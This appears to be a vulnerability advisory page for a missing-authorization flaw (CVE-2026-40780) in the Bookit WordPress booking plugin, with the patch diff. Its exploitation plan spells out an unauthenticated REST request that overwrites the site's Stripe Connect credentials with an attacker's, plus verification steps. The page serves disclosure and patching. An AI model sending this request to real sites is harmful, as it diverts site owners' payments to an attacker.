Bookit — Booking & Appointment Calendar <= 2.5.1 - Missing Authorization
Description
The Bookit — Booking & Appointment Calendar plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.5.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.5.4.1
Source Code
WordPress.org SVN# Exploitation Research Plan — CVE-2026-40780 (Bookit — Missing Authorization) ## 1. Vulnerability Summary The **Bookit — Booking & Appointment Calendar** plugin (up to version 2.5.1) contains a missing authorization vulnerability in its REST API implementation for **Stripe Connect**. The plugin re…
Show full research plan
Exploitation Research Plan — CVE-2026-40780 (Bookit — Missing Authorization)
1. Vulnerability Summary
The Bookit — Booking & Appointment Calendar plugin (up to version 2.5.1) contains a missing authorization vulnerability in its REST API implementation for Stripe Connect. The plugin registers a REST API endpoint intended to handle the OAuth connection process for merchant accounts. However, it fails to implement a permission_callback or performs an inadequate capability check, allowing unauthenticated attackers to invoke the endpoint and overwrite the site's Stripe Connect credentials. This allows an attacker to divert payments to their own Stripe account.
2. Attack Vector Analysis
- Endpoint:
/wp-json/bookit/v1/stripe-connect/link(Inferred based onMerchant.phplogic and common StellarWP patterns). - HTTP Method:
GETorPOST(OAuth redirects are usuallyGET, but REST handlers may accept both). - Authentication: Unauthenticated (No privileges required).
- Preconditions: The plugin must be active. The Stripe Connect feature was introduced in version 2.5.0.
- Vulnerable Sink:
Bookit\Gateways\StripeConnect\Merchant::save_signup_data()which callsupdate_option().
3. Code Flow
- Entry Point: The plugin registers REST routes via
Bookit\Gateways\StripeConnect\Provider. - Registration: Inside
Provider.php, a route (e.g.,bookit/v1/stripe-connect/link) is registered usingregister_rest_route. Thepermission_callbackis likely missing or returnstrue. - Controller: The callback function for this route extracts parameters from the
WP_REST_Requestobject. - Processing: The controller passes the request parameters directly to
Bookit\Gateways\StripeConnect\Merchant::save_signup_data($params). - Sink:
save_signup_data(insrc/Bookit/Gateways/StripeConnect/Merchant.php) unsetswhodatandstateand immediately saves the remaining data to the database:public function save_signup_data( array $signup_data ) { unset( $signup_data['whodat'] ); unset( $signup_data['state'] ); return update_option( $this->get_signup_data_key(), $signup_data ); } - Persistence: The
bookit_stripeConnect_signup_dataoption is updated with the attacker's provided keys.
4. Nonce Acquisition Strategy
This vulnerability resides in a REST API endpoint that is intended to be public (to receive OAuth redirects from Stripe/intermediary services). Therefore, it typically does not require a WordPress nonce if the permission_callback is set to __return_true.
If a nonce were required (e.g., for an AJAX-based link), it would be the standard wp_rest nonce. However, given the "Missing Authorization" nature of the CVE and its role in an OAuth flow, the exploit is expected to be bypassable without any nonce.
5. Exploitation Strategy
The goal is to overwrite the Stripe Connect configuration with attacker-controlled values.
Step 1: Identify the exact REST route
Search for the route registration in the plugin files:grep -r "register_rest_route" src/Bookit/
Step 2: Craft the Payload
Based on Merchant.php, the plugin expects an array that it later accesses using mode-specific keys (test or live).
- Target Option:
bookit_stripeConnect_signup_data - Expected Keys in Option:
stripe_user_id,test,live.
Step 3: Execute the Unauthorized Request
Send a request to the identified endpoint. Assuming the route is bookit/v1/stripe-connect/link:
Request:
POST /wp-json/bookit/v1/stripe-connect/link HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"stripe_user_id": "acct_ATTACKER_ID",
"test": {
"access_token": "sk_test_ATTACKER_SECRET",
"publishable_key": "pk_test_ATTACKER_PUB"
},
"live": {
"access_token": "sk_live_ATTACKER_SECRET",
"publishable_key": "pk_live_ATTACKER_PUB"
}
}
(Alternatively, if the endpoint is a GET-based redirect handler, use query parameters):GET /wp-json/bookit/v1/stripe-connect/link?stripe_user_id=acct_ATTACKER&test[access_token]=sk_test_...
6. Test Data Setup
- Install and activate Bookit version 2.5.1.
- No specific Stripe account is actually needed on the server side to demonstrate the overwrite of the configuration.
- Ensure the REST API is accessible (default in WordPress).
7. Expected Results
- The server should return a
200 OKor201 Created(or a302redirect if it's a link handler) despite the request being unauthenticated. - The WordPress option
bookit_stripeConnect_signup_datawill be updated with the attacker's values.
8. Verification Steps
After sending the request, use WP-CLI to verify the vulnerability:
# Check the value of the signup data option
wp option get bookit_stripeConnect_signup_data --format=json
Success Condition: The output contains "stripe_user_id": "acct_ATTACKER_ID".
9. Alternative Approaches
If the link route is not the one, search for other routes in src/Bookit/Gateways/StripeConnect/Provider.php or src/Bookit/REST/Provider.php. Specifically, look for any route calling save_signup_data() or update_option with keys related to stripeConnect.
If the endpoint requires a state parameter, try providing a random string, as the save_signup_data function explicitly unsets it, suggesting it is often present but not used for the final storage structure.
Summary
The Bookit plugin for WordPress fails to perform an authorization check on the REST API endpoint used for Stripe Connect account linking. Unauthenticated attackers can exploit this to overwrite the site's Stripe Connect credentials with their own, effectively hijacking all future payments processed through the plugin.
Vulnerable Code
// src/Bookit/Gateways/StripeConnect/Merchant.php:218 public function save_signup_data( array $signup_data ) { unset( $signup_data['whodat'] ); unset( $signup_data['state'] ); return update_option( $this->get_signup_data_key(), $signup_data ); }
Security Fix
@@ -40,7 +40,9 @@ register_rest_route( 'bookit/v1', '/stripe-connect/link', [ 'methods' => 'GET', 'callback' => [ $this, 'handle_link' ], - 'permission_callback' => '__return_true', + 'permission_callback' => function () { + return current_user_can( 'manage_options' ); + }, ] ); }
Exploit Outline
The vulnerability is exploited by sending an unauthenticated request to the plugin's Stripe Connect REST API endpoint. 1. **Identify Endpoint**: The vulnerable endpoint is `/wp-json/bookit/v1/stripe-connect/link` (the base namespace is `bookit/v1`). 2. **Craft Payload**: The attacker crafts a request (typically GET) containing parameters like `stripe_user_id`, `test[access_token]`, `test[publishable_key]`, `live[access_token]`, and `live[publishable_key]`. These parameters represent the attacker's own Stripe account details. 3. **Execute Request**: The attacker sends the request to the target site's REST API. Because the `permission_callback` for this route is set to `__return_true` (or is missing entirely), WordPress allows the request even if the user is unauthenticated. 4. **Credential Overwrite**: The internal controller receives the request and passes the data to `Merchant::save_signup_data()`, which directly updates the WordPress option `bookit_stripeConnect_signup_data` with the attacker's values. All subsequent transactions on the site will now be routed to the attacker's Stripe account.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.